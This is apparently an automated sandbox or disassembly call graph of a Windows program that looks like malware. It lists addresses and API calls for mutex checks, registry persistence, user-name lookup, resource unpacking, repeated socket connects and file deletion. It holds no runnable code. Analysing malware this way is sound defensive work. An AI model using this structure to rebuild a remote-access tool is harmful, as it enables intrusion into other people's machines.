419fb4 103 API calls 2 library calls 47545->49195 47548 40f126 47546->47548 47549 40f162 47547->47549 47550 401e65 22 API calls 47548->47550 47552 40f1cc 47549->47552 47553 40f16e 47549->47553 47551 40f138 47550->47551 47556 40f13f CreateThread 47551->47556 47554 401e65 22 API calls 47552->47554 47555 401e65 22 API calls 47553->47555 47557 40f1d5 47554->47557 47558 40f17e 47555->47558 47556->47543 49194 419fb4 103 API calls 2 library calls 47556->49194 47559 40f1e1 47557->47559 47560 40f21a 47557->47560 47561 401e65 22 API calls 47558->47561 47563 401e65 22 API calls 47559->47563 48057 41b60d 47560->48057 47564 40f193 47561->47564 47566 40f1ea 47563->47566 48268 40d9e8 31 API calls 47564->48268 47571 401e65 22 API calls 47566->47571 47567 401f13 28 API calls 47568 40f22e 47567->47568 47570 401f09 11 API calls 47568->47570 47573 40f237 47570->47573 47574 40f1ff 47571->47574 47572 40f1a6 47575 401f13 28 API calls 47572->47575 47576 40f240 SetProcessDEPPolicy 47573->47576 47577 40f243 CreateThread 47573->47577 47584 43baac _strftime 40 API calls 47574->47584 47578 40f1b2 47575->47578 47576->47577 47579 40f264 47577->47579 47580 40f258 CreateThread 47577->47580 49166 40f7a7 47577->49166 47581 401f09 11 API calls 47578->47581 47582 40f279 47579->47582 47583 40f26d CreateThread 47579->47583 47580->47579 49196 4120f7 138 API calls 47580->49196 47585 40f1bb CreateThread 47581->47585 47587 40f2cc 47582->47587 47589 402093 28 API calls 47582->47589 47583->47582 49198 4126db 38 API calls ___scrt_fastfail 47583->49198 47586 40f20c 47584->47586 47585->47552 49193 401be9 50 API calls _strftime 47585->49193 48269 40c162 7 API calls 47586->48269 48069 4134ff RegOpenKeyExA 47587->48069 47590 40f29c 47589->47590 48270 4052fd 28 API calls 47590->48270 47596 40f2ed 47597 41bc5e 28 API calls 47596->47597 47599 40f2fd 47597->47599 48271 41361b 31 API calls 47599->48271 47604 40f313 47605 401f09 11 API calls 47604->47605 47608 40f31e 47605->47608 47606 40f346 DeleteFileW 47607 40f34d 47606->47607 47606->47608 47607->47415 47608->47415 47608->47606 47609 40f334 Sleep 47608->47609 47609->47608 47610->47280 47611->47287 47612->47297 47613->47298 47614->47300 47615->47303 47616->47307 47618 438f36 ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 47617->47618 47630 43a43a 47618->47630 47622 438f4c 47623 438f57 47622->47623 47644 43a476 DeleteCriticalSection 47622->47644 47623->47309 47625 438f44 47625->47309 47672 44fb68 47626->47672 47629 438f5a 8 API calls 3 library calls 47629->47314 47631 43a443 47630->47631 47633 43a46c 47631->47633 47634 438f40 47631->47634 47645 438e7f 47631->47645 47650 43a476 DeleteCriticalSection 47633->47650 47634->47625 47636 43a3ec 47634->47636 47665 438d94 47636->47665 47638 43a3f6 47639 43a401 47638->47639 47670 438e42 6 API calls try_get_function 47638->47670 47639->47622 47641 43a40f 47642 43a41c 47641->47642 47671 43a41f 6 API calls ___vcrt_FlsFree 47641->47671 47642->47622 47644->47625 47651 438c73 47645->47651 47648 438eb6 InitializeCriticalSectionAndSpinCount 47649 438ea2 47648->47649 47649->47631 47650->47634 47652 438ca3 47651->47652 47653 438ca7 47651->47653 47652->47653 47657 438cc7 47652->47657 47658 438d13 47652->47658 47653->47648 47653->47649 47655 438cd3 GetProcAddress 47656 438ce3 __crt_fast_encode_pointer 47655->47656 47656->47653 47657->47653 47657->47655 47659 438d30 47658->47659 47660 438d3b LoadLibraryExW 47658->47660 47659->47652 47661 438d57 GetLastError 47660->47661 47662 438d6f 47660->47662 47661->47662 47663 438d62 LoadLibraryExW 47661->47663 47662->47659 47664 438d86 FreeLibrary 47662->47664 47663->47662 47664->47659 47666 438c73 try_get_function 5 API calls 47665->47666 47667 438dae 47666->47667 47668 438dc6 TlsAlloc 47667->47668 47669 438db7 47667->47669 47669->47638 47670->47641 47671->47639 47675 44fb81 47672->47675 47673 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47674 4345bd 47673->47674 47674->47312 47674->47629 47675->47673 47677 434b27 GetStartupInfoW 47676->47677 47677->47326 47679 44f06b 47678->47679 47680 44f062 47678->47680 47679->47330 47683 44ef58 47680->47683 47682->47330 47703 448215 GetLastError 47683->47703 47685 44ef65 47724 44f077 47685->47724 47687 44ef6d 47733 44ecec 47687->47733 47692 44efc7 47758 446782 20 API calls _free 47692->47758 47696 44ef84 47696->47679 47697 44efc2 47757 4405dd 20 API calls _abort 47697->47757 47699 44f00b 47699->47692 47760 44ebc2 20 API calls 47699->47760 47700 44efdf 47700->47699 47759 446782 20 API calls _free 47700->47759 47704 448237 47703->47704 47705 44822b 47703->47705 47762 445af3 20 API calls 3 library calls 47704->47762 47761 4487bc 11 API calls 2 library calls 47705->47761 47708 448231 47708->47704 47710 448280 SetLastError 47708->47710 47709 448243 47715 44824b 47709->47715 47764 448812 11 API calls 2 library calls 47709->47764 47710->47685 47713 448260 47713->47715 47716 448267 47713->47716 47714 448251 47718 44828c SetLastError 47714->47718 47763 446782 20 API calls _free 47715->47763 47765 448087 20 API calls _abort 47716->47765 47767 4460f4 36 API calls 4 library calls 47718->47767 47719 448272 47766 446782 20 API calls _free 47719->47766 47722 448298 47723 448279 47723->47710 47723->47718 47725 44f083 ___scrt_is_nonwritable_in_current_image 47724->47725 47726 448215 _abort 36 API calls 47725->47726 47731 44f08d 47726->47731 47728 44f111 ___scrt_is_nonwritable_in_current_image 47728->47687 47731->47728 47768 4460f4 36 API calls 4 library calls 47731->47768 47769 445888 EnterCriticalSection 47731->47769 47770 446782 20 API calls _free 47731->47770 47771 44f108 LeaveCriticalSection std::_Lockit::~_Lockit 47731->47771 47772 43a7b7 47733->47772 47736 44ed0d GetOEMCP 47738 44ed36 47736->47738 47737 44ed1f 47737->47738 47739 44ed24 GetACP 47737->47739 47738->47696 47740 446137 47738->47740 47739->47738 47741 446175 47740->47741 47745 446145 ___crtLCMapStringA 47740->47745 47783 4405dd 20 API calls _abort 47741->47783 47742 446160 RtlAllocateHeap 47744 446173 47742->47744 47742->47745 47744->47692 47747 44f119 47744->47747 47745->47741 47745->47742 47782 442f80 7 API calls 2 library calls 47745->47782 47748 44ecec 38 API calls 47747->47748 47749 44f138 47748->47749 47752 44f189 IsValidCodePage 47749->47752 47754 44f13f 47749->47754 47756 44f1ae ___scrt_fastfail 47749->47756 47750 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47751 44efba 47750->47751 47751->47697 47751->47700 47753 44f19b GetCPInfo 47752->47753 47752->47754 47753->47754 47753->47756 47754->47750 47784 44edc4 GetCPInfo 47756->47784 47757->47692 47758->47696 47759->47699 47760->47692 47761->47708 47762->47709 47763->47714 47764->47713 47765->47719 47766->47723 47767->47722 47768->47731 47769->47731 47770->47731 47771->47731 47773 43a7ca 47772->47773 47774 43a7d4 47772->47774 47773->47736 47773->47737 47774->47773 47775 448215 _abort 36 API calls 47774->47775 47776 43a7f5 47775->47776 47780 448364 36 API calls __Toupper 47776->47780 47778 43a80e 47781 448391 36 API calls __cftof 47778->47781 47780->47778 47781->47773 47782->47745 47783->47744 47790 44edfe 47784->47790 47793 44eea8 47784->47793 47787 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47789 44ef54 47787->47789 47789->47754 47794 45112c 47790->47794 47792 44ae66 _swprintf 41 API calls 47792->47793 47793->47787 47795 43a7b7 __cftof 36 API calls 47794->47795 47796 45114c MultiByteToWideChar 47795->47796 47798 451222 47796->47798 47799 45118a 47796->47799 47800 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47798->47800 47802 446137 ___crtLCMapStringA 21 API calls 47799->47802 47804 4511ab __alloca_probe_16 ___scrt_fastfail 47799->47804 47803 44ee5f 47800->47803 47801 45121c 47813 435e40 20 API calls _free 47801->47813 47802->47804 47808 44ae66 47803->47808 47804->47801 47806 4511f0 MultiByteToWideChar 47804->47806 47806->47801 47807 45120c GetStringTypeW 47806->47807 47807->47801 47809 43a7b7 __cftof 36 API calls 47808->47809 47810 44ae79 47809->47810 47814 44ac49 47810->47814 47813->47798 47815 44ac64 ___crtLCMapStringA 47814->47815 47816 44ac8a MultiByteToWideChar 47815->47816 47817 44acb4 47816->47817 47818 44ae3e 47816->47818 47821 446137 ___crtLCMapStringA 21 API calls 47817->47821 47824 44acd5 __alloca_probe_16 47817->47824 47819 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47818->47819 47820 44ae51 47819->47820 47820->47792 47821->47824 47822 44ad8a 47850 435e40 20 API calls _free 47822->47850 47823 44ad1e MultiByteToWideChar 47823->47822 47825 44ad37 47823->47825 47824->47822 47824->47823 47841 448bb3 47825->47841 47829 44ad61 47829->47822 47833 448bb3 _strftime 11 API calls 47829->47833 47830 44ad99 47831 446137 ___crtLCMapStringA 21 API calls 47830->47831 47835 44adba __alloca_probe_16 47830->47835 47831->47835 47832 44ae2f 47849 435e40 20 API calls _free 47832->47849 47833->47822 47835->47832 47836 448bb3 _strftime 11 API calls 47835->47836 47837 44ae0e 47836->47837 47837->47832 47838 44ae1d WideCharToMultiByte 47837->47838 47838->47832 47839 44ae5d 47838->47839 47851 435e40 20 API calls _free 47839->47851 47842 4484ca _abort 5 API calls 47841->47842 47843 448bda 47842->47843 47846 448be3 47843->47846 47852 448c3b 10 API calls 3 library calls 47843->47852 47845 448c23 LCMapStringW 47845->47846 47847 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 47846->47847 47848 448c35 47847->47848 47848->47822 47848->47829 47848->47830 47849->47822 47850->47818 47851->47822 47852->47845 47854 41cb8f LoadLibraryA GetProcAddress 47853->47854 47855 41cb7f GetModuleHandleA GetProcAddress 47853->47855 47856 41cbb8 44 API calls 47854->47856 47857 41cba8 LoadLibraryA GetProcAddress 47854->47857 47855->47854 47856->47334 47857->47856 48274 41b4a8 FindResourceA 47858->48274 47862 40f3ed ctype 48284 4020b7 47862->48284 47865 401fe2 28 API calls 47866 40f413 47865->47866 47867 401fd8 11 API calls 47866->47867 47868 40f41c 47867->47868 47869 43bd51 new 21 API calls 47868->47869 47870 40f42d ctype 47869->47870 48290 406dd8 47870->48290 47872 40f460 47872->47336 47874 40210c 47873->47874 47875 4023ce 11 API calls 47874->47875 47876 402126 47875->47876 47877 402569 28 API calls 47876->47877 47878 402134 47877->47878 47878->47339 48344 4020df 47879->48344 47881 401fd8 11 API calls 47882 41bed0 47881->47882 47883 401fd8 11 API calls 47882->47883 47885 41bed8 47883->47885 47884 41bea0 47886 4041a2 28 API calls 47884->47886 47888 401fd8 11 API calls 47885->47888 47889 41beac 47886->47889 47892 40ea24 47888->47892 47893 401fe2 28 API calls 47889->47893 47890 41be2e 47890->47884 47891 401fe2 28 API calls 47890->47891 47896 401fd8 11 API calls 47890->47896 47900 41be9e 47890->47900 48348 4041a2 47890->48348 48351 41ce34 28 API calls 47890->48351 47891->47890 47901 40fb17 47892->47901 47894 41beb5 47893->47894 47895 401fd8 11 API calls 47894->47895 47897 41bebd 47895->47897 47896->47890 48352 41ce34 28 API calls 47897->48352 47900->47881 47902 40fb23 47901->47902 47904 40fb2a 47901->47904 48359 402163 11 API calls 47902->48359 47904->47344 47906 402163 47905->47906 47907 40219f 47906->47907 48360 402730 11 API calls 47906->48360 47907->47346 47909 402184 48361 402712 11 API calls std::_Deallocate 47909->48361 47913 401e6d 47911->47913 47912 401e75 47912->47351 47913->47912 48362 402158 22 API calls 47913->48362 47917 4020df 11 API calls 47916->47917 47918 40532a 47917->47918 48363 4032a0 47918->48363 47920 405346 47920->47360 48367 4051ef 47921->48367 47923 406391 48371 402055 47923->48371 47926 401fe2 47927 401ff1 47926->47927 47928 402039 47926->47928 47929 4023ce 11 API calls 47927->47929 47935 401fd8 47928->47935 47930 401ffa 47929->47930 47931 40203c 47930->47931 47932 402015 47930->47932 47933 40267a 11 API calls 47931->47933 48403 403098 28 API calls 47932->48403 47933->47928 47936 4023ce 11 API calls 47935->47936 47937 401fe1 47936->47937 47937->47371 47939 401fd2 47938->47939 47940 401fc9 47938->47940 47939->47377 48404 4025e0 28 API calls 47940->48404 48405 401fab 47942->48405 47944 40d073 CreateMutexA GetLastError 47944->47393 48406 41bfb7 47945->48406 47950 401fe2 28 API calls 47951 41b2ff 47950->47951 47952 401fd8 11 API calls 47951->47952 47953 41b307 47952->47953 47954 4135a6 31 API calls 47953->47954 47956 41b35d 47953->47956 47955 41b330 47954->47955 47957 41b33b StrToIntA 47955->47957 47956->47399 47958 41b349 47957->47958 47961 41b352 47957->47961 48414 41cf69 22 API calls 47958->48414 47960 401fd8 11 API calls 47960->47956 47961->47960 47963 40772a 47962->47963 47964 413549 3 API calls 47963->47964 47965 407731 47964->47965 47965->47411 47965->47412 47967 41bc72 47966->47967 48415 40b904 47967->48415 47969 41bc7a 47969->47427 47971 401f22 47970->47971 47978 401f6a 47970->47978 47972 402252 11 API calls 47971->47972 47973 401f2b 47972->47973 47974 401f6d 47973->47974 47976 401f46 47973->47976 48448 402336 47974->48448 48447 40305c 28 API calls 47976->48447 47979 401f09 47978->47979 47980 402252 11 API calls 47979->47980 47981 401f12 47980->47981 47981->47439 47983 413965 47982->47983 47984 406dd8 28 API calls 47983->47984 47985 41397a 47984->47985 47986 4020f6 28 API calls 47985->47986 47987 41398a 47986->47987 47988 41376f 14 API calls 47987->47988 47989 413994 47988->47989 47990 401fd8 11 API calls 47989->47990 47991 4139a1 47990->47991 47991->47487 47993 40209b 47992->47993 47994 4023ce 11 API calls 47993->47994 47995 4020a6 47994->47995 48452 4024ed 47995->48452 47999 4137bf 47998->47999 48000 413788 47998->48000 48001 401fd8 11 API calls 47999->48001 48003 41379a RegSetValueExA RegCloseKey 48000->48003 48002 40ef9e 48001->48002 48002->47490 48003->47999 48005 43bac5 _strftime 48004->48005 48456 43ae03 48005->48456 48007 40efb7 48007->47496 48007->47498 48009 41b5a0 48008->48009 48010 41b505 GetLocalTime 48008->48010 48012 401fd8 11 API calls 48009->48012 48011 40531e 28 API calls 48010->48011 48014 41b547 48011->48014 48013 41b5a8 48012->48013 48015 401fd8 11 API calls 48013->48015 48016 406383 28 API calls 48014->48016 48017 40f00d 48015->48017 48018 41b553 48016->48018 48017->47514 48483 402f10 48018->48483 48021 406383 28 API calls 48022 41b56b 48021->48022 48488 407200 77 API calls 48022->48488 48024 41b579 48025 401fd8 11 API calls 48024->48025 48026 41b585 48025->48026 48027 401fd8 11 API calls 48026->48027 48028 41b58e 48027->48028 48029 401fd8 11 API calls 48028->48029 48030 41b597 48029->48030 48031 401fd8 11 API calls 48030->48031 48031->48009 48033 409e02 _wcslen 48032->48033 48034 409e24 48033->48034 48035 409e0d 48033->48035 48037 40da34 31 API calls 48034->48037 48036 40da34 31 API calls 48035->48036 48038 409e15 48036->48038 48039 409e2c 48037->48039 48040 401f13 28 API calls 48038->48040 48041 401f13 28 API calls 48039->48041 48042 409e1f 48040->48042 48043 409e3a 48041->48043 48045 401f09 11 API calls 48042->48045 48044 401f09 11 API calls 48043->48044 48046 409e42 48044->48046 48047 409e79 48045->48047 48507 40915b 28 API calls 48046->48507 48492 40a109 48047->48492 48049 409e54 48508 403014 48049->48508 48054 401f13 28 API calls 48055 409e69 48054->48055 48056 401f09 11 API calls 48055->48056 48056->48042 48058 41b630 GetUserNameW 48057->48058 48712 40417e 48058->48712 48063 403014 28 API calls 48064 41b672 48063->48064 48065 401f09 11 API calls 48064->48065 48066 41b67b 48065->48066 48067 401f09 11 API calls 48066->48067 48068 40f223 48067->48068 48068->47567 48070 413520 RegQueryValueExA RegCloseKey 48069->48070 48071 40f2e4 48069->48071 48070->48071 48071->47440 48071->47596 48073 40f392 48072->48073 48074 413a3f RegDeleteValueW 48072->48074 48073->47434 48074->48073 48076 40dd5b 48075->48076 48077 4134ff 3 API calls 48076->48077 48078 40dd62 48077->48078 48082 40dd81 48078->48082 48806 401707 48078->48806 48080 40dd6f 48809 413877 RegCreateKeyA 48080->48809 48083 414f2a 48082->48083 48084 4020df 11 API calls 48083->48084 48085 414f3e 48084->48085 48829 41b8b3 48085->48829 48088 4020df 11 API calls 48089 414f54 48088->48089 48090 401e65 22 API calls 48089->48090 48091 414f62 48090->48091 48092 43baac _strftime 40 API calls 48091->48092 48093 414f6f 48092->48093 48094 414f81 48093->48094 48095 414f74 Sleep 48093->48095 48096 402093 28 API calls 48094->48096 48095->48094 48097 414f90 48096->48097 48098 401e65 22 API calls 48097->48098 48099 414f99 48098->48099 48100 4020f6 28 API calls 48099->48100 48101 414fa4 48100->48101 48102 41be1b 28 API calls 48101->48102 48103 414fac 48102->48103 48833 40489e WSAStartup 48103->48833 48105 414fb6 48106 401e65 22 API calls 48105->48106 48107 414fbf 48106->48107 48108 401e65 22 API calls 48107->48108 48157 41503e 48107->48157 48109 414fd8 48108->48109 48111 401e65 22 API calls 48109->48111 48110 4020f6 28 API calls 48110->48157 48112 414fe9 48111->48112 48114 401e65 22 API calls 48112->48114 48113 41be1b 28 API calls 48113->48157 48115 414ffa 48114->48115 48116 401e65 22 API calls 48115->48116 48118 41500b 48116->48118 48117 406c1e 28 API calls 48117->48157 48120 401e65 22 API calls 48118->48120 48119 401fe2 28 API calls 48119->48157 48121 41501c 48120->48121 48122 401e65 22 API calls 48121->48122 48123 41502e 48122->48123 48968 40473d 89 API calls 48123->48968 48125 401fd8 11 API calls 48125->48157 48126 401e65 22 API calls 48126->48157 48128 41518c WSAGetLastError 48969 41cae1 30 API calls 48128->48969 48132 402093 28 API calls 48134 41519c 48132->48134 48134->48132 48136 41b4ef 80 API calls 48134->48136 48139 401e8d 11 API calls 48134->48139 48140 401e65 22 API calls 48134->48140 48141 43baac _strftime 40 API calls 48134->48141 48134->48157 48177 415a71 CreateThread 48134->48177 48178 401fd8 11 API calls 48134->48178 48179 401f09 11 API calls 48134->48179 48970 4052fd 28 API calls 48134->48970 48972 40b051 85 API calls 48134->48972 48973 404e26 99 API calls 48134->48973 48136->48134 48138 40531e 28 API calls 48138->48157 48139->48134 48140->48134 48142 415acf Sleep 48141->48142 48142->48134 48143 406383 28 API calls 48143->48157 48144 402f10 28 API calls 48144->48157 48145 402093 28 API calls 48145->48157 48146 41b4ef 80 API calls 48146->48157 48149 40905c 28 API calls 48149->48157 48150 441e81 20 API calls 48150->48157 48151 4136f8 3 API calls 48151->48157 48152 4135a6 31 API calls 48152->48157 48153 40417e 28 API calls 48153->48157 48157->48110 48157->48113 48157->48117 48157->48119 48157->48125 48157->48126 48157->48128 48157->48134 48157->48138 48157->48143 48157->48144 48157->48145 48157->48146 48157->48149 48157->48150 48157->48151 48157->48152 48157->48153 48158 41bb8e 28 API calls 48157->48158 48159 401e65 22 API calls 48157->48159 48834 414ee9 48157->48834 48839 40482d 48157->48839 48846 404f51 48157->48846 48861 4048c8 connect 48157->48861 48921 41b7e0 48157->48921 48924 4145bd 48157->48924 48927 40dd89 48157->48927 48933 41bc42 48157->48933 48936 41bd1e 48157->48936 48158->48157 48160 415439 GetTickCount 48159->48160 48161 41bb8e 28 API calls 48160->48161 48174 415456 48161->48174 48163 41bb8e 28 API calls 48163->48174 48166 41bd1e 28 API calls 48166->48174 48168 406383 28 API calls 48168->48174 48169 402ea1 28 API calls 48169->48174 48170 402f10 28 API calls 48170->48174 48172 401fd8 11 API calls 48172->48174 48173 401f09 11 API calls 48173->48174 48174->48163 48174->48166 48174->48168 48174->48169 48174->48170 48174->48172 48174->48173 48940 41bae6 48174->48940 48942 41ba96 48174->48942 48947 40f8d1 29 API calls 48174->48947 48948 402f31 28 API calls 48174->48948 48949 404c10 48174->48949 48971 404aa1 61 API calls ctype 48174->48971 48177->48134 49156 41ad17 105 API calls 48177->49156 48178->48134 48179->48134 48180->47352 48181->47359 48182->47363 48185 4020df 11 API calls 48184->48185 48186 406c2a 48185->48186 48187 4032a0 28 API calls 48186->48187 48188 406c47 48187->48188 48188->47385 48190 413573 RegQueryValueExA RegCloseKey 48189->48190 48191 40eba4 48189->48191 48190->48191 48191->47382 48191->47400 48192->47388 48193->47418 48194->47412 48195->47402 48196->47416 48198 401f86 11 API calls 48197->48198 48199 40da50 48198->48199 48200 40da70 48199->48200 48201 40daa5 48199->48201 48216 40da66 48199->48216 49157 41b5b4 29 API calls 48200->49157 48203 41bfb7 GetCurrentProcess 48201->48203 48202 40db99 GetLongPathNameW 48205 40417e 28 API calls 48202->48205 48206 40daaa 48203->48206 48208 40dbae 48205->48208 48209 40db00 48206->48209 48210 40daae 48206->48210 48207 40da79 48211 401f13 28 API calls 48207->48211 48212 40417e 28 API calls 48208->48212 48213 40417e 28 API calls 48209->48213 48214 40417e 28 API calls 48210->48214 48215 40da83 48211->48215 48217 40dbbd 48212->48217 48218 40db0e 48213->48218 48219 40dabc 48214->48219 48220 401f09 11 API calls 48215->48220 48216->48202 49160 40ddd1 28 API calls 48217->49160 48224 40417e 28 API calls 48218->48224 48225 40417e 28 API calls 48219->48225 48220->48216 48222 40dbd0 49161 402fa5 28 API calls 48222->49161 48227 40db24 48224->48227 48228 40dad2 48225->48228 48226 40dbdb 49162 402fa5 28 API calls 48226->49162 49159 402fa5 28 API calls 48227->49159 49158 402fa5 28 API calls 48228->49158 48232 40dbe5 48236 401f09 11 API calls 48232->48236 48233 40db2f 48237 401f13 28 API calls 48233->48237 48234 40dadd 48235 401f13 28 API calls 48234->48235 48239 40dae8 48235->48239 48240 40dbef 48236->48240 48238 40db3a 48237->48238 48241 401f09 11 API calls 48238->48241 48242 401f09 11 API calls 48239->48242 48243 401f09 11 API calls 48240->48243 48245 40db43 48241->48245 48246 40daf1 48242->48246 48244 40dbf8 48243->48244 48247 401f09 11 API calls 48244->48247 48248 401f09 11 API calls 48245->48248 48249 401f09 11 API calls 48246->48249 48250 40dc01 48247->48250 48248->48215 48249->48215 48251 401f09 11 API calls 48250->48251 48252 40dc0a 48251->48252 48253 401f09 11 API calls 48252->48253 48254 40dc13 48253->48254 48254->47476 48255->47488 48256->47510 48258 41371e RegQueryValueExA RegCloseKey 48257->48258 48259 413742 48257->48259 48258->48259 48259->47466 48260->47502 48265 4344ef 48261->48265 48262 43bd51 new 21 API calls 48262->48265 48263 40f0d1 48263->47541 48265->48262 48265->48263 49163 442f80 7 API calls 2 library calls 48265->49163 49164 434c35 RaiseException Concurrency::cancel_current_task __CxxThrowException@8 48265->49164 49165 43526e RaiseException Concurrency::cancel_current_task __CxxThrowException@8 48265->49165 48268->47572 48269->47560 48271->47604 48272->47407 48275 41b4c5 LoadResource LockResource SizeofResource 48274->48275 48276 40f3de 48274->48276 48275->48276 48277 43bd51 48276->48277 48282 446137 ___crtLCMapStringA 48277->48282 48278 446175 48294 4405dd 20 API calls _abort 48278->48294 48279 446160 RtlAllocateHeap 48281 446173 48279->48281 48279->48282 48281->47862 48282->48278 48282->48279 48293 442f80 7 API calls 2 library calls 48282->48293 48285 4020bf 48284->48285 48295 4023ce 48285->48295 48287 4020ca 48299 40250a 48287->48299 48289 4020d9 48289->47865 48291 4020b7 28 API calls 48290->48291 48292 406dec 48291->48292 48292->47872 48293->48282 48294->48281 48296 4023d8 48295->48296 48297 402428 48295->48297 48296->48297 48306 4027a7 11 API calls std::_Deallocate 48296->48306 48297->48287 48300 40251a 48299->48300 48301 402520 48300->48301 48302 402535 48300->48302 48307 402569 48301->48307 48317 4028e8 48302->48317 48305 402533 48305->48289 48306->48297 48328 402888 48307->48328 48309 40257d 48310 402592 48309->48310 48311 4025a7 48309->48311 48333 402a34 22 API calls 48310->48333 48313 4028e8 28 API calls 48311->48313 48316 4025a5 48313->48316 48314 40259b 48334 4029da 22 API calls 48314->48334 48316->48305 48318 4028f1 48317->48318 48319 402953 48318->48319 48320 4028fb 48318->48320 48342 4028a4 22 API calls 48319->48342 48323 402904 48320->48323 48324 402917 48320->48324 48336 402cae 48323->48336 48326 402915 48324->48326 48327 4023ce 11 API calls 48324->48327 48326->48305 48327->48326 48329 402890 48328->48329 48330 402898 48329->48330 48335 402ca3 22 API calls 48329->48335 48330->48309 48333->48314 48334->48316 48337 402cb8 __EH_prolog 48336->48337 48343 402e54 22 API calls 48337->48343 48339 4023ce 11 API calls 48341 402d92 48339->48341 48340 402d24 48340->48339 48341->48326 48343->48340 48345 4020e7 48344->48345 48346 4023ce 11 API calls 48345->48346 48347 4020f2 48346->48347 48347->47890 48353 40423a 48348->48353 48351->47890 48352->47900 48354 404243 48353->48354 48355 4023ce 11 API calls 48354->48355 48356 40424e 48355->48356 48357 402569 28 API calls 48356->48357 48358 4041b5 48357->48358 48358->47890 48359->47904 48360->47909 48361->47907 48365 4032aa 48363->48365 48364 4032c9 48364->47920 48365->48364 48366 4028e8 28 API calls 48365->48366 48366->48364 48368 4051fb 48367->48368 48377 405274 48368->48377 48370 405208 48370->47923 48372 402061 48371->48372 48373 4023ce 11 API calls 48372->48373 48374 40207b 48373->48374 48399 40267a 48374->48399 48378 405282 48377->48378 48379 405288 48378->48379 48380 40529e 48378->48380 48388 4025f0 48379->48388 48382 4052f5 48380->48382 48383 4052b6 48380->48383 48397 4028a4 22 API calls 48382->48397 48386 4028e8 28 API calls 48383->48386 48387 40529c 48383->48387 48386->48387 48387->48370 48389 402888 22 API calls 48388->48389 48390 402602 48389->48390 48391 402672 48390->48391 48393 402629 48390->48393 48398 4028a4 22 API calls 48391->48398 48395 4028e8 28 API calls 48393->48395 48396 40263b 48393->48396 48395->48396 48396->48387 48400 40268b 48399->48400 48401 4023ce 11 API calls 48400->48401 48402 40208d 48401->48402 48402->47926 48403->47928 48404->47939 48407 41bfc4 GetCurrentProcess 48406->48407 48408 41b2d1 48406->48408 48407->48408 48409 4135a6 RegOpenKeyExA 48408->48409 48410 4135d4 RegQueryValueExA RegCloseKey 48409->48410 48411 4135fe 48409->48411 48410->48411 48412 402093 28 API calls 48411->48412 48413 413613 48412->48413 48413->47950 48414->47961 48416 40b90c 48415->48416 48421 402252 48416->48421 48418 40b917 48425 40b92c 48418->48425 48420 40b926 48420->47969 48422 40225c 48421->48422 48423 4022ac 48421->48423 48422->48423 48432 402779 11 API calls std::_Deallocate 48422->48432 48423->48418 48426 40b966 48425->48426 48427 40b938 48425->48427 48444 4028a4 22 API calls 48426->48444 48433 4027e6 48427->48433 48431 40b942 48431->48420 48432->48423 48434 4027ef 48433->48434 48435 402851 48434->48435 48436 4027f9 48434->48436 48446 4028a4 22 API calls 48435->48446 48439 402802 48436->48439 48440 402815 48436->48440 48445 402aea 28 API calls __EH_prolog 48439->48445 48442 402813 48440->48442 48443 402252 11 API calls 48440->48443 48442->48431 48443->48442 48445->48442 48447->47978 48449 402347 48448->48449 48450 402252 11 API calls 48449->48450 48451 4023c7 48450->48451 48451->47978 48453 4024f9 48452->48453 48454 40250a 28 API calls 48453->48454 48455 4020b1 48454->48455 48455->47482 48472 43ba0a 48456->48472 48458 43ae50 48459 43a7b7 __cftof 36 API calls 48458->48459 48464 43ae5c 48459->48464 48460 43ae15 48460->48458 48461 43ae2a 48460->48461 48471 43ae2f _abort 48460->48471 48477 4405dd 20 API calls _abort 48461->48477 48465 43ae8b 48464->48465 48478 43ba4f 40 API calls __Tolower 48464->48478 48468 43aef7 48465->48468 48479 43b9b6 20 API calls 2 library calls 48465->48479 48480 43b9b6 20 API calls 2 library calls 48468->48480 48469 43afbe _strftime 48469->48471 48481 4405dd 20 API calls _abort 48469->48481 48471->48007 48473 43ba22 48472->48473 48474 43ba0f 48472->48474 48473->48460 48482 4405dd 20 API calls _abort 48474->48482 48476 43ba14 _abort 48476->48460 48477->48471 48478->48464 48479->48468 48480->48469 48481->48471 48482->48476 48489 401fb0 48483->48489 48485 402f1e 48486 402055 11 API calls 48485->48486 48487 402f2d 48486->48487 48487->48021 48488->48024 48490 4025f0 28 API calls 48489->48490 48491 401fbd 48490->48491 48491->48485 48493 40a127 48492->48493 48494 413549 3 API calls 48493->48494 48495 40a12e 48494->48495 48496 40a142 48495->48496 48497 40a15c 48495->48497 48498 409e9b 48496->48498 48499 40a147 48496->48499 48513 40905c 48497->48513 48498->47533 48501 40905c 28 API calls 48499->48501 48503 40a155 48501->48503 48541 40a22d 29 API calls 48503->48541 48506 40a15a 48506->48498 48507->48049 48689 403222 48508->48689 48510 403022 48693 403262 48510->48693 48514 409072 48513->48514 48515 402252 11 API calls 48514->48515 48516 40908c 48515->48516 48542 404267 48516->48542 48518 40909a 48519 40a179 48518->48519 48554 40b8ec 48519->48554 48522 40a1a2 48525 402093 28 API calls 48522->48525 48523 40a1ca 48524 402093 28 API calls 48523->48524 48527 40a1d5 48524->48527 48526 40a1ac 48525->48526 48528 41bc5e 28 API calls 48526->48528 48529 402093 28 API calls 48527->48529 48530 40a1ba 48528->48530 48531 40a1e4 48529->48531 48558 40b164 31 API calls new 48530->48558 48533 41b4ef 80 API calls 48531->48533 48535 40a1e9 CreateThread 48533->48535 48534 40a1c1 48536 401fd8 11 API calls 48534->48536 48537 40a210 CreateThread 48535->48537 48538 40a204 CreateThread 48535->48538 48566 40a27d 48535->48566 48536->48523 48539 401f09 11 API calls 48537->48539 48563 40a289 48537->48563 48538->48537 48560 40a267 48538->48560 48540 40a224 48539->48540 48540->48498 48541->48506 48688 40a273 163 API calls 48541->48688 48543 402888 22 API calls 48542->48543 48544 40427b 48543->48544 48545 404290 48544->48545 48546 4042a5 48544->48546 48552 4042df 22 API calls 48545->48552 48547 4027e6 28 API calls 48546->48547 48549 4042a3 48547->48549 48549->48518 48550 404299 48553 402c48 22 API calls 48550->48553 48552->48550 48553->48549 48555 40b8f5 48554->48555 48556 40a197 48554->48556 48559 40b96c 28 API calls 48555->48559 48556->48522 48556->48523 